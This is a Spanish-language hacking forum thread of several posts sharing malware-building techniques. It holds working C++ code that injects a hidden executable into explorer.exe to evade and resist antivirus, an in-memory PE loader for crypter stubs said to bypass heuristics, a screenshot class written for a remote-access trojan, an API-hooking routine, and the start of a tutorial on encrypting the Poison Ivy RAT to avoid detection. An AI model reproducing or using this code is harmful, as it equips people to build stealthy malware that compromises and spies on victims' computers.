    VirtualProtect((LPVOID)miHookStruct->lpBuffer,11,PAGE_EXECUTE_READWRITE,&OldProtection);

    // Le damos permisos de ejecución a los X primeros bytes de la api
    VirtualProtect((LPVOID)miHookStruct->lpAPI,11,PAGE_EXECUTE_READWRITE,&OldProtection);

    //Copiamos los X primeros bytes de la api a nuestro buffer
    mCopyMemory(miHookStruct->lpBuffer,miHookStruct->lpAPI,11);

    //Cambiamos los la primera dirección que pushea 'Caller' por la un puntero a miHookStruct
    mCopyMemory((LPSTR)Caller+1,(LPSTR)&miHookStruct,4);

    //Cambiamos los la segunda dirección que pushea 'Caller' por la dirección de ControlFunction
    LPSTR dirControlFunction=(LPSTR)ControlFunction;
    mCopyMemory((LPSTR)Caller+6,(LPSTR)&dirControlFunction,4);

    //Cambiamos los 10 primeros bytes de la API por la función Caller
    mCopyMemory(miHookStruct->lpAPI,(LPSTR)Caller,11);

    FlushInstructionCache(GetCurrentProcess(),0,0);
    __asm popad;
    }

    //Función que simula RtlCopyMemory
    void __declspec(naked) mCopyMemory(LPSTR bEscritura,LPSTR bLectura,DWORD lenBuffer)
    {
    __asm
    {
    pushad
    mov esi,[esp+0x28] //bLectura
    mov ecx,[esp+0x2C] //lenBuffer
    mov edi,[esp+0x24] //bEscritura
    dec ecx

    bCopyMemory:
    dec ecx
    movsb
    cmp ecx,0
    jge bCopyMemory
    popad
    ret
    }
    }


    Descargar Ejemplo

    Nota: El ejecutable hookeado en el proceso de ejemplo se puede encontrar en la carpeta release, junto con el source del mismo.

    Saludos  :P
    #8
    Inyección de Archivos en un Proceso

    Cuando se habla de inyección de archivos o de inyección simplemente, se entiende por ello inyección en otro proceso, sin embargo, todos los códigos que vi sobre ésto (que no son pocos), no hacen propiamente una inyección, sinó que crean un proceso y se "inyectan" en el proceso creado, así podemos ver en mucho malware un proceso llamado "IEXPLORER.EXE" cuando no utilizamos ese navegador, un "msnmsgr.exe" cuando no tenemos el messenger abierto o dos procesos "explorer.exe" en ejecución.

    Lo que hace éste código es inyectarse en 'explorer.exe', abriendo el proceso y creando un hilo hacia nuestro código con CreateRemoteThread. Ésto es bastante fácil de hacer cuando simplemente inyectamos un código, como puede ser una shellcode o algo así, pero la cosa cambia si queremos inyectar un ejecutable completo, no lo podemos cargar en el ImageBase puesto que seguramente ya estará ocupado por el ejecutable del explorer (00400000), y todas las direcciones virtuales absolutas (no relativas al imagebase) estarán rotas. Para solucionar éste problema he utilizado (como muchos ya habrán supuesto  :xD) la Relocation Table, pudiendo así con esa tabla inyectar mi ejecutable en un proceso remoto, rebasearlo y cargar la IAT. Luego con CreateRemoteThread se crea un hilo hacia el EntryPoint y ya tenemos dos ejecutables corriendo en un mismo proceso  :laugh:.

    Aquí os dejo el código que inyecta en 'explorer.exe' un ejecutable que guarda en el resource:

    Código (cpp) [Seleccionar]

    #pragma comment (linker,"/NODEFAULTLIB")
    #pragma comment (linker,"/ENTRY:main")

    #include <windows.h>
    #include <Tlhelp32.h>
    #include "resource.h"

    int main()
    {
    PIMAGE_DOS_HEADER IDH;
    PIMAGE_NT_HEADERS INTH;
    PIMAGE_SECTION_HEADER ISH;

    //Cargamos el resource
    HRSRC hResource=FindResourceA(NULL,(LPCSTR)MAKEINTRESOURCE(IDR_EXE1),"EXE");
    DWORD ResourceSize=SizeofResource(NULL,hResource);
    HGLOBAL hGlob=LoadResource(NULL,hResource);
    LPSTR lpFileMaped=(LPSTR)LockResource(hGlob);

    //Obtenemos la cabecera DOS y PE en las estructuras
    IDH=(PIMAGE_DOS_HEADER)&lpFileMaped[0];
    INTH=(PIMAGE_NT_HEADERS)&lpFileMaped[IDH->e_lfanew];

    DWORD PID=0;
    HANDLE hSnapshot=CreateToolhelp32Snapshot(TH32CS_SNAPPROCESS,0);
    PROCESSENTRY32 pInfo;
    pInfo.dwSize=sizeof(PROCESSENTRY32);

    //Obtenemos el PID del 'explorer.exe'
    Process32First(hSnapshot,&pInfo);
    for(;lstrcmpA(pInfo.szExeFile,"explorer.exe");)
    {
    Process32Next(hSnapshot,&pInfo);
    }
    CloseHandle(hSnapshot);
    PID=pInfo.th32ProcessID;

    //Abrimos el proceso en el que nos inyectaremos
    HANDLE hProcess=OpenProcess(PROCESS_ALL_ACCESS,FALSE,PID);

    //Creamos el buffer del tamaño del SizeOfImage en el que cargaremos el ejecutable
    LPSTR ExeBuffer=(LPSTR)VirtualAllocEx(hProcess,0,INTH->OptionalHeader.SizeOfImage,MEM_RESERVE|MEM_COMMIT,PAGE_EXECUTE_READWRITE);

    //Copiamos la cabecera DOS y PE al buffer
    WriteProcessMemory(hProcess,&ExeBuffer[0],&lpFileMaped[0],INTH->OptionalHeader.SizeOfHeaders,0);

    //Copiamos las secciones en su VirtualOffset en el buffer
    for(DWORD i=0;i<INTH->FileHeader.NumberOfSections;i++)
    {
    ISH=(PIMAGE_SECTION_HEADER)&lpFileMaped[IDH->e_lfanew+sizeof(IMAGE_NT_HEADERS)+sizeof(IMAGE_SECTION_HEADER)*i];
    WriteProcessMemory(hProcess,&ExeBuffer[ISH->VirtualAddress],&lpFileMaped[ISH->PointerToRawData],ISH->SizeOfRawData,0);
    }

    //Calculamos el delta entre la dirección del buffer y el ImageBase
    DWORD Delta=(((DWORD)ExeBuffer)-INTH->OptionalHeader.ImageBase);

    //------------------------------------------------------------
    /* -Reubicamos la dirección base del ejecutable :D- */
    //------------------------------------------------------------

    //Si no hay tabla de reubicación, salimos
    if(INTH->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size==0)
    {
    MessageBoxA(0,"No hay relocation table!",0,0);
    return false;
    }

    //Obteemos el Image Base Relocation
    //Copiamos el Image Base Relocation de los datos en el proceso a un buffer en el nuestro para
    //poder trabajar con él más comodamente
    PIMAGE_BASE_RELOCATION IBR=(PIMAGE_BASE_RELOCATION)GlobalAlloc(GPTR,sizeof(IMAGE_BASE_RELOCATION));
    PIMAGE_BASE_RELOCATION PIBR=(PIMAGE_BASE_RELOCATION)(ExeBuffer+INTH->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);
    ReadProcessMemory(hProcess,(LPVOID)PIBR,IBR,sizeof(IMAGE_BASE_RELOCATION),0);

    //Vamos recorriendo todas las etradas del bloque
    for (DWORD n=0;IBR->VirtualAddress>0;n++)
    {
    //Obtenemos el Bloque de reubicación
    LPSTR RelocationBlock=(LPSTR)(ExeBuffer+IBR->VirtualAddress);

    //Obtenemos la primera entrada del bloque
    LPWORD RelocationEntry=(LPWORD)((LPSTR)PIBR+sizeof(IMAGE_BASE_RELOCATION));

    //Recorremos todas las entradas del bloque
    for (DWORD i=0;i<((IBR->SizeOfBlock-sizeof(IMAGE_BASE_RELOCATION))/2);i++,RelocationEntry++)
    {
    WORD valor;
    ReadProcessMemory(hProcess,RelocationEntry,&valor,2,0);
    //Obtenemos los 4 bits que definen el tipo de reubicación
    DWORD type=valor>>12;

    //Obtenemos los 12 bits que definen la dirección de la reubicación
    DWORD offset=valor&0xFFF;

    //Si el tipo de reubicación es relativo a la dirección base, añadimso el delta
    if(type==IMAGE_REL_BASED_HIGHLOW)
    {
    //Añadimos a la dirección que depende del imagebase original
    //el delta entre el imagebase y nuestra dirección base
    LPDWORD newAddr=(LPDWORD)(RelocationBlock+offset);
    DWORD NewValue;
    ReadProcessMemory(hProcess,newAddr,&NewValue,4,0);
    NewValue+=Delta;
    WriteProcessMemory(hProcess,newAddr,&NewValue,4,0);
    }
    }

    //Vamos al siguiente bloque
    PIBR=(PIMAGE_BASE_RELOCATION)(((DWORD)PIBR)+IBR->SizeOfBlock);
    ReadProcessMemory(hProcess,(LPVOID)PIBR,IBR,sizeof(IMAGE_BASE_RELOCATION),0);
    }
    GlobalFree(IBR);


    //---------------------------------------------------------------------
    /* -Cargamos los valores de la IAT para poder llamar a las apis- */
    //---------------------------------------------------------------------

    PIMAGE_THUNK_DATA ITD;
    PIMAGE_THUNK_DATA PITD;
    PIMAGE_IMPORT_BY_NAME IIBN;

    //Comprobamos si hay Import Data Descriptor
    if (INTH->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size>0)
    {

    //Obtenemos el Import Data Descriptor
    //Copiamos el Import Data Descriptor de los datos en el proceso a un buffer en el nuestro para
    //poder trabajar con él más comodamente
    PIMAGE_IMPORT_DESCRIPTOR IID=(PIMAGE_IMPORT_DESCRIPTOR)GlobalAlloc(GPTR,sizeof(IMAGE_IMPORT_DESCRIPTOR));
    PIMAGE_IMPORT_DESCRIPTOR PIID=(PIMAGE_IMPORT_DESCRIPTOR)(ExeBuffer+INTH->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);
    ReadProcessMemory(hProcess,(LPVOID)PIID,IID,sizeof(IMAGE_IMPORT_DESCRIPTOR),0);

    //Vamos recorriendo todas las Dll's importadas por el ejecutable
    for (;IID->Name;)
    {
    //Obtenemos la longitud del nombre de la dll
    DWORD szName=0;
    CHAR miByte=1;
    for(int i=0;miByte;i++)
    {
    szName=i;
    ReadProcessMemory(hProcess,ExeBuffer+IID->Name+i,&miByte,1,0);
    }

    //Obtenemos el nombre de la dll
    LPSTR lpName=(LPSTR)GlobalAlloc(GPTR,szName+1);
    ReadProcessMemory(hProcess,ExeBuffer+IID->Name,lpName,szName+1,0);

    //Cargamos la dll
    HMODULE hLib=LoadLibraryA(lpName);

    //Obtenemos la dirección al primer miembro del array Image Thunk Data's
    PITD=(PIMAGE_THUNK_DATA)((DWORD)ExeBuffer+IID->FirstThunk);
    ITD=(PIMAGE_THUNK_DATA)GlobalAlloc(GPTR,sizeof(IMAGE_THUNK_DATA));
    ReadProcessMemory(hProcess,PITD,ITD,sizeof(IMAGE_THUNK_DATA),0);

    //Vamos recorriendo las funciones importadas
    for (;ITD->u1.Ordinal;)
    {
    miByte=1;
    //Obtenemos la longitud del nombre de la API
    for(int i=0;miByte;i++)
    {
    szName=i;
    LPSTR puntero=ExeBuffer+ITD->u1.Function+2;
    puntero+=i;
    ReadProcessMemory(hProcess,puntero,&miByte,1,0);
    }

    //Cargamos el Image Import By Name para obtener el nombre
    IIBN=(PIMAGE_IMPORT_BY_NAME)GlobalAlloc(GPTR,sizeof(IMAGE_IMPORT_BY_NAME)+szName);
    ReadProcessMemory(hProcess,ExeBuffer+ITD->u1.Function,IIBN,sizeof(IMAGE_IMPORT_BY_NAME)+szName,0);

    //Obtenemos la dirección de la función y la guardamos en la IAT
    DWORD lpAPI=(DWORD)GetProcAddress(hLib,(LPCSTR)&IIBN->Name);
    WriteProcessMemory(hProcess,ExeBuffer+IID->FirstThunk,&lpAPI,4,0); /* Ejem!! Vaya metedura xD */

    PITD++;
    ReadProcessMemory(hProcess,PITD,ITD,sizeof(IMAGE_THUNK_DATA),0);
    }
    PIID++;
    ReadProcessMemory(hProcess,(LPVOID)PIID,IID,sizeof(IMAGE_IMPORT_DESCRIPTOR),0);
    GlobalFree(lpName);
    GlobalFree(ITD);
    }
    GlobalFree(IID);
    }

    //Obteemos el EntryPoint de ejecutable que cargamos en el buffer
    DWORD EntryPoint=((DWORD)ExeBuffer)+INTH->OptionalHeader.AddressOfEntryPoint;

    //Llamamos al EntryPoint
    CreateRemoteThread(hProcess,0,0,(LPTHREAD_START_ROUTINE)EntryPoint,0,0,0);

    return 0;
    }


    Descargar Source

    APLICACIONES

    La primera aplicación que salta a la vista es la ocultación, si nos podemos inyectar en un proceso evitamos tener que usar otras técnicas para ocultar nuestro proceso, y a la vez nos proporciona protección frente a un antivirus o algún programa de protección que trate de terminar el proceso, puesto que de hacerlo (como seguro hará), terminará la ejecución de los dos ejecutables, el nuestro y el exporer.

    Otra aplicación que se me ocurre es un poco más complicada de explicar que espero poder presentar el código en breve, seguro a muchos les gustará  ;).

    Saludos
    #9
    Bueno, pues cómo dice el título del tema, a mi parecer, éste subforo está un poco escondido, cosa que no debería de pasar en un foro de ésta temática. La ingeniería inversa es una de las ramas más gruesas del "mundo underground", véase su relación con la programación (sobre todo a bajo nivel), la búsqueda de vulnerabilidades en aplicaciones, y el análisis y el diseño del malware. Son temas que se tratan en gran parte de los subforos, sin embargo el de más peso está medio escondido:

    No hay sección sobre Cracking?
    Sugerencia: Una sección de Cracking¿?
    ¿Donde está la sección Ingeniería Inversa?
    Las preguntas de Cracking en q foro van?
    Me presento y sugerencia

    Entiendo que no puede haber demasiados subforos en la página principal del foro, pero veo como un error esconder subforos de "tanto peso".

    Saludos
    #10
    Bueno, había hecho ésta clase para el Stealth RAT, pero como al final no la usaré, puesto que no es todo lo rápido que quisiera y ya tengo un método alternativo, la posteo para quien le pueda servir  :P. Hace una captura de pantalla y la comprime a JPEG (o PNG, con cambiar una línea se pueden elegir otros formatos) en memoria, por lo que es más rápido que otros códigos que guardan la captura en disco. Espero que a alguien le sirva  :P.

    ClsScreenShot.h:
    Código (cpp) [Seleccionar]

    //---------------------------------------------------------------------------------------------------------
    //Autor: Hacker_Zero
    //Fecha: 29-12-09
    //Descripción: Clase ClsScreenShot, captura de pantalla comprimida en diferentes formatos
    //GDI+: Incuído en Windows XP o superior
    //Código liberado bajo la GNU Public License (GPL) <http://www.gnu.org/licenses/gpl-3.0.html>
    //---------------------------------------------------------------------------------------------------------

    #ifndef SCREENSHOT_H
    #define SCREENSHOT_H

    #include <windows.h>
    #include <gdiplus.h>

    using namespace Gdiplus;

    class cScreenShot
    {
    public:
    cScreenShot();
    ~cScreenShot();
    HBITMAP CrearCapturaPantalla(DWORD dwLeft,DWORD dwTop,DWORD dwRight,DWORD dwBottom);
    CLSID GetEncoder(WCHAR* lpEnconder);
    LPSTR ComprimirImagen(HBITMAP hBitmap);
    VOID GuardarImagen(LPSTR lpFileName,LPSTR lpImage,DWORD ImageSize);
    DWORD ImageSize;
    RECT RC;

    private:
    GdiplusStartupInput GDIStartup;
    unsigned long GDIToken;
    EncoderParameters EP;
    ImageCodecInfo* ICI;
    CLSID Codec;
    IStream* lpIStream;
    unsigned int Codecs;
    unsigned int CodecSize;
    HDC hDC;
    HDC hCCDC;
    HBITMAP hBitmap;
    HBITMAP hOldBitmap;
    ULARGE_INTEGER StreamSize;
    LARGE_INTEGER StreamSeek;
    ULONG Read;
    DWORD dwRead;
    LPSTR lpBuffer;
    HANDLE hFile;
    };

    #endif


    ClsScreenShot.cpp
    Código (cpp) [Seleccionar]

    #include "ClsScreenShot.h"

    cScreenShot::cScreenShot()
    {
    GdiplusStartup(&GDIToken,&GDIStartup,0);
    GetWindowRect(GetDesktopWindow(),&RC);
    }

    cScreenShot::~cScreenShot()
    {
    GdiplusShutdown(GDIToken);
    }

    HBITMAP cScreenShot::CrearCapturaPantalla(DWORD dwLeft,DWORD dwTop,DWORD dwRight,DWORD dwBottom)
    {
    hDC=CreateDCA("DISPLAY",0,0,0);
    hCCDC=CreateCompatibleDC(hDC);
    hBitmap=CreateCompatibleBitmap(hDC,dwRight,dwBottom);
    hOldBitmap=(HBITMAP)SelectObject(hCCDC,hBitmap);
    BitBlt(hCCDC,0,0,dwRight,dwBottom,hDC,dwLeft,dwTop,SRCCOPY);

    DeleteDC(hDC);
    DeleteDC(hCCDC);

    return hBitmap;
    }

    CLSID cScreenShot::GetEncoder(WCHAR* lpEnconder)
    {
    GetImageEncodersSize(&Codecs,&CodecSize);
    ICI=(ImageCodecInfo*)GlobalAlloc(GPTR,CodecSize);
    GetImageEncoders(Codecs,CodecSize,ICI);

    for(DWORD i=1;wcscmp(ICI[i-1].MimeType,lpEnconder);i++)
    {
    Codec=ICI[i].Clsid;
    }

    GlobalFree(ICI);

    return Codec;
    }

    LPSTR cScreenShot::ComprimirImagen(HBITMAP hBitmap)
    {
    Bitmap bmp(hBitmap,NULL);

    CreateStreamOnHGlobal(NULL,TRUE,(LPSTREAM*)&lpIStream);

    Codec=GetEncoder(L"image/jpeg");
    //~Codec=GetEncoder(L"image/png"); ~//

    EncoderParameters EP;
    DWORD Quality=40;
    EP.Count=1;
    EP.Parameter[0].NumberOfValues=1;
    EP.Parameter[0].Guid=EncoderQuality;
    EP.Parameter[0].Type=EncoderParameterValueTypeLong;
    EP.Parameter[0].Value=&Quality;

    //bmp.SetResolution(550,600);
    bmp.Save(lpIStream,&Codec,&EP);

    StreamSeek.QuadPart=0;
    lpIStream->Seek(StreamSeek,STREAM_SEEK_END,&StreamSize);
    lpIStream->Seek(StreamSeek,STREAM_SEEK_SET,NULL);

    lpBuffer=(LPSTR)GlobalAlloc(GPTR,(SIZE_T)StreamSize.QuadPart);
    lpIStream->Read(lpBuffer,(ULONG)StreamSize.QuadPart,&Read);
    ImageSize=(DWORD)Read;
    return lpBuffer;
    }

    VOID cScreenShot::GuardarImagen(LPSTR lpFileName,LPSTR lpImage,DWORD ImageSize)
    {
    hFile=CreateFileA(lpFileName,GENERIC_READ|GENERIC_WRITE,FILE_SHARE_WRITE|FILE_SHARE_READ,0,CREATE_ALWAYS,0,0);
    WriteFile(hFile,lpImage,ImageSize,&dwRead,0);
    CloseHandle(hFile);
    }


    Ejemplo de uso:
    Código (cpp) [Seleccionar]

    ClsScreenShot miScreenShot;

    //Creamos una captura
    HBITMAP hBitmap=miScreenShot.CrearCapturaPantalla(miScreenShot.RC.left,miScreenShot.RC.top,miScreenShot.RC.right,miScreenShot.RC.bottom);

    //Convertimos el Bitmap a Jpeg
    LPSTR JpegImage=miScreenShot.ComprimirImagen(hBitmap);

    //La guardamos en disco
    miScreenShot.GuardarImagen("C:\\captura.jpeg",JpegImage,miScreenShot.ImageSize);


    Saludos  ;)
    #11
    Ejecución de Archivos desde Memoria - Base Relocation

    Bueno, hago éste texto para explicar un poco en que consiste el método y a la vez para que no haya gente que se limite a copiar el código sin más. Todo lo que voy a decir está basado en lo siguiente, el cual será necesario leer antes de éste texto para comprender bien el código.

    http://www.joachim-bauch.de/tutorials/load_dll_memory.html

    A la vez, para comprender todo lo que diré, será necesario tener conocimientos sobre el formato PE, y el único texto que encontré que habla un poco de la Base Relocation es el de microsoft:

    http://download.microsoft.com/download/9/c/5/9c5b2167-8017-4bae-9fde-d599bac8184a/pecoff_v8.docx



    El Problema

    Vale, imaginémonos que estamos programando un crypter. El stub del crypter, al ser ejecutado, descifra el archivo en memoria, y llegamos al momento, en que tenemos el archivo que habíamos cifrado, descifrado y mapeado en memoria, pero no podemos ejecutarlo, puesto no está cargado en su ImageBase, y por lo tanto, todas las instrucciones relativas al ImageBase saltarán a un punto que vete tu a saber que hay. Entre éstas instrucciónes, están las llamadas a las API's (llamadas a punteros de la IAT), y al haberse mapeado y no cargado, la IAT no se cargó con las direcciones de las API's, otro problema  :-\.

    El Loader de Windows

    Para entender lo que vamos a hacer, vamos a ver antes que es lo que hace windows para ejecutar un archivo cuando nosotros se lo indicamos:

    • Lee el archivo y busca la cabecera DOS, la cabecera PE y las cabeceras de las secciones.
    • Intenta reservar espacio en memoria en la dirección del ImageBase, y si ya está en uso, la reserva en otra dirección. La cantidad de memoria que reserva está marcado por el SizeOfImage.
    • Mapea las distintas secciones de acuerdo con su VirtualOffset y VirtualSize y los Flags.
    • Si el archivo no está cargado en su ImageBase, hace una reubicación de la base del ejecutable.
    • Recorre la Import Table y carga las librerías que importa en ejecutable.
    • Rellena la IAT con las direcciones de las funciones que importa.
    • Crea el hilo inicial de ejecución y lanza el proceso.
    La Solución

    Si emulamos el Loader de Windows a base de código, podemos arrancar el ejecutable desde memoria sin necesidad de guardarlo en disco y ejecutarlo o tener que crear otro proceso para tener el ImageBase origianal libre.

    Aquí pongo el código que hice, y subo el proyecto. El archivo lleva en el resource un ejecutable que emite un messagebox. Al arrancar el archivo, la sección de resource se mapea en memoria con todo el ejecutable, y emulando el loader de windows, carga el archivo reubicando la ImageBase y pasandole la ejecución a éste  ;-). Comenté mucho el código para que no haya problemas de comprensión, pero es necesario tener muy claro el formato PE  :P.


    //-------------------------------------------------------------------------------------------
    // PoC - [Base Relocation]
    //
    //Descripción: Ejecuta un archivo mapeado en memoria sin guardarlo en disco
    //Autor: Hacker_Zero
    //Fecha: 18-8-2009
    //Basado en: http://www.joachim-bauch.de/tutorials/load_dll_memory.html
    //-------------------------------------------------------------------------------------------

    #pragma optimize("gsy", on)
    #pragma comment(linker, "/ENTRY:main")

    #include <windows.h>
    #include "resource.h"

    void main()
    {
    //Cargamos ejecutable del resource
    HRSRC hResource=FindResourceA(NULL,(LPCSTR)MAKEINTRESOURCE(IDR_EXE1),"EXE");
    HGLOBAL hGlob=LoadResource(NULL,hResource);
    DWORD FileSize=SizeofResource(NULL,hResource);
    LPSTR lpFileMaped=(LPSTR)LockResource(hGlob);

    PIMAGE_DOS_HEADER IDH;
    PIMAGE_NT_HEADERS INTH;
    PIMAGE_SECTION_HEADER ISH;

    //Obtenemos la cabecera DOS y PE en las estructuras
    IDH=(PIMAGE_DOS_HEADER)&lpFileMaped[0];
    INTH=(PIMAGE_NT_HEADERS)&lpFileMaped[IDH->e_lfanew];

    //Creamos el buffer del tamaño del SizeOfImage en el que cargaremos el ejecutable
    LPSTR ExeBuffer=(LPSTR)VirtualAlloc(NULL,INTH->OptionalHeader.SizeOfImage,MEM_COMMIT|MEM_RESERVE,PAGE_EXECUTE_READWRITE);
    //LPSTR ExeBuffer=(LPSTR)GlobalAlloc(GPTR,INTH->OptionalHeader.SizeOfImage);

    //Copiamos la cabecera DOS y PE al buffer
    CopyMemory(&ExeBuffer[0],&lpFileMaped[0],INTH->OptionalHeader.SizeOfHeaders);

    //Copiamos las secciones en su VirtualOffset en el buffer
    for(DWORD i=0;i<INTH->FileHeader.NumberOfSections;i++)
    {
    ISH=(PIMAGE_SECTION_HEADER)&lpFileMaped[IDH->e_lfanew+sizeof(IMAGE_NT_HEADERS)+sizeof(IMAGE_SECTION_HEADER)*i];
    CopyMemory(&ExeBuffer[ISH->VirtualAddress],&lpFileMaped[ISH->PointerToRawData],ISH->SizeOfRawData);
    }

    //Calculamos el delta entre la dirección del buffer y el ImageBase
    DWORD Delta=(((DWORD)ExeBuffer)-INTH->OptionalHeader.ImageBase);

    //------------------------------------------------------------
    /* -Reubicamos la dirección base del ejecutable :D- */
    //------------------------------------------------------------

    //Si no hay tabla de reubicación, salimos
    if(INTH->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size==0)
    {
    MessageBoxA(0,"No se ha encontrado Tabla de Reubicaciones\nImposible cargar el archivo",0,0);
    ExitProcess(0);
    }

    //Obteemos el Image Base Relocation
    PIMAGE_BASE_RELOCATION IBR=(PIMAGE_BASE_RELOCATION)(ExeBuffer+INTH->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress);

    //Vamos recorriendo todas las etradas del bloque
    for (;IBR->VirtualAddress>0; )
    {
    //Obtenemos el Bloque de reubicación
    LPSTR RelocationBlock=(LPSTR)(ExeBuffer+IBR->VirtualAddress);

    //Obtenemos la primera entrada del bloque
    LPWORD RelocationEntry=(LPWORD)((LPSTR)IBR+sizeof(IMAGE_BASE_RELOCATION));

    //Recorremos todas las entradas del bloque
    for (DWORD i=0;i<((IBR->SizeOfBlock-sizeof(IMAGE_BASE_RELOCATION))/2);i++,RelocationEntry++)
    {
    //Obtenemos los 4 bits que definen el tipo de reubicación
    DWORD type=*RelocationEntry>>12;

    //Obtenemos los 12 bits que definen la dirección de la reubicación
    DWORD offset=*RelocationEntry&0xfff;

    //Si el tipo de reubicación es relativo a la dirección base, añadimso el delta
    switch (type)
    {
    case IMAGE_REL_BASED_HIGHLOW:
    //Añadimos a la dirección que depende del imagebase original
    //el delta entre el imagebase y nuestra dirección base
    LPDWORD newAddr=(LPDWORD)(RelocationBlock+offset);
    *newAddr=Delta+(DWORD)*newAddr;
    break;
    }
    }
    //Vamos al siguiente bloque
    IBR = (PIMAGE_BASE_RELOCATION)(((DWORD)IBR) + IBR->SizeOfBlock);
    }


    //---------------------------------------------------------------------
    /* -Cargamos los valores de la IAT para poder llamar a las apis- */
    //---------------------------------------------------------------------

    PIMAGE_THUNK_DATA ITD;
    PIMAGE_IMPORT_BY_NAME IIBN;

    //Comprobamos si hay Import Data Descriptor
    if (INTH->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].Size>0)
    {
    //Si lo hay lo obtenemos en la estructura
    PIMAGE_IMPORT_DESCRIPTOR IID=(PIMAGE_IMPORT_DESCRIPTOR)(ExeBuffer+INTH->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress);

    //Vamos recorriendo todas las Dll's importadas por el ejecutable
    for (;IID->Name;IID++)
    {
    //Cargamos la dll
    HMODULE hLib=LoadLibraryA((LPCSTR)(ExeBuffer+IID->Name));

    //Obtenemos la dirección al primer miembro del array Image Thunk Data's
    ITD=(PIMAGE_THUNK_DATA)((DWORD)ExeBuffer+IID->FirstThunk);

    //Vamos recorriendo las funciones importadas
    for (;ITD->u1.Ordinal;ITD++)
    {
    //Cargamos el Image Import By Name para obtener el nombre
    IIBN=(PIMAGE_IMPORT_BY_NAME)(ExeBuffer+ITD->u1.Function);
    //Obtenemos la dirección de la función y la guardamos en la IAT
    ITD->u1.Function=(DWORD)GetProcAddress(hLib,(LPCSTR)&IIBN->Name);
    }
    }
    }

    //Obteemos el EntryPoint de ejecutable que cargamos en el buffer
    DWORD EntryPoint=((DWORD)ExeBuffer)+INTH->OptionalHeader.AddressOfEntryPoint;

    //Llamamos al EntryPoint
    __asm
    {
    mov eax,EntryPoint
    call eax
    }

    ExitProcess(0);
    }




    # Cabe destacar que para que el archivo pueda ser ejecutado en un ImageBase distinto al original, es necesario que el archivo tenga tabla de reubicación, el VC++ 2008 la pone en los ejecutables por defecto, y en Fasm se puede añadir con la siguiente línea:

    section '.reloc' fixups data discardable

    En VB no se si se pude poner, al menos no lo hace por defecto  :P.





    # Los antivirus suelen Hookear las API's de manejo de memoria en un proceso remoto, por eso, la mayoría de crypters que usan API's como WriteProcessMemory o CreateRemoteThread son detectados por las heurísticas. Con éste método se evita tener que llamar a esas API's, por lo que (no lo probé) debería de poder saltarse las heurísticas  ;-).





    # Pronto actualizaré el post con un código que solucionará el problema de que el archivo deba tener tabla de reubicaciones  ;D.



    Descargar proyecto de ejemplo







    Ejecutar archivos sin Relocation Table

    Bueno, pues terminé el código que ejecuta archivos desde memoria aunque éstos no tengan Relocation Table. Tiene un pequeño fallo, y es que con ejecutables en VB crashea debido a que hay algo raro en el import table, no sé muy bien aún a que se debe pero se puede solucionar.

    Lo que hace el código es ejecutar un Loader que tiene Relocation Table desde una posición de memoria diferente a su ImageBase. El loader ejecuta el archivo que queremos inyectar desde memoria librerando memoria en el ImageBase original (00400000, desde donde habíamos llamado al loader) y carga ahí el ejecutable, por lo que no es necesario reubicar la ImageBase y funciona  ;D.


    Descargar Código Fuente

    Saludos


    #12
    Taller: cifrando Malware a Mano




    Objetivos de éste taller

    Debido a la avalancha de crypters que últiamente salen a la luz y que, en mi opinión, el 90% de ellos (principalmente en VB) se hacen utilizando código de terceros sin entender realmente que es lo que programan, decidí hacer éste taller para mostrar el modo de funcionamiento de un crypter, de modo que cualquier persona con interés sea capaz a entenderlo. Al finalizar el talller seremos capaces de entender que es lo que hacen los crypters para burlar a los antivirus, y seremos capaces de hacer éste proceso de forma manual, así como, de tener conocimientos de programación y a partir de éste taller, tendremos los conocimientos necesarios para programar un crypter sabiendo que queremos conseguir realmente.






    Herramientas Necesarias
    • Olly Debug Descargar
    • Un Editor Hexadecimal Descargar HxD
    • Un Editor del PE Descargar LordPE
    • Poison Ivy v2.1.4 Private Descargar






      Conocimientos recomendados
    • Nociones básicas sobre ASM. Taller ASM por E0N
    • Conocimientos sobre el Formato PE. Taller Formato PE por Ferchu
    • Familiarización con el uso de Olly y las otras herramientas.




      ¿Qué vamos a cifrar?

      Bueno, lo primero que haremos será abrir el server del PI con un el Editor Hexadecimal y el Editor del PE:


      Vemos que el ejecutable tiene 2 secciones, la .text y la .data. En éste caso vamos a cifrar solamente la sección .text que es la que contiene el código ejecutable. La .data la vamos a dejar tal y como está, porque si nos vamos al editor hexadecimal y nos vamos a 0x1A00 y miramos lo que hay más abajo, vemos que ahí se encuentra la IAT, y cifrar eso nos complicaría bastante las cosas, tal vez para otra entrega, en ésta vamos a dejar esa sección tal y como está  :P:


      Entonces, lo que vamos a cifrar es lo que va desde 0x200 a 0x1A00 viendolo con el editor hexadecimal.

      ¿Cómo lo vamos a cifrar?

      Lo haremos de una forma sencilla. Encriptaremos el archivo en disco y añadiremos un poco de código en un espacio libre, y que haremos que sea el primero en ejecutarse, de modo que cuando el archivo se cargue en memoria, éste código se encargue de descifrar lo que habíamos cifrado de la sección .text y luego salte a donde el programa comenzaba originalmente. Éste código lo vamos a poner al final de la sección ejecutable, debido a que suele haber espacio libre ahí debido al alineamiento de las secciones.

         
      Ejecutable original y ejecutable cifrado respectivamente

      Preparando la sección .text

      Vamos a buscar el espacio libre al final de la sección ejecutable y lo vamos a rellenar de NOP's usando el Editor Hexadecimal. Luego tambien vamos a cambiar los Flags del apartado Characteristics utilizando el LordPE.

      Para buscar el espacio libre, nos vamos al LordPE y vemos que la sección .text emipeza en 0x200 (ROffset=0x200) y ocupa 0x1800. 0x200 y 0x1800 son 0x1A00, cojemos el HxD y nos vamos a esa dirección, es justo el comienzo de la sección .data y el final de la .text. Vemos que para arriba tenemos 0x00's, ése va a ser nuestro hueco, seleccionamos los 0's (dejando unos bytes de margen por si las moscas), y lo rellenamos de Nop's (NOP=0x90):


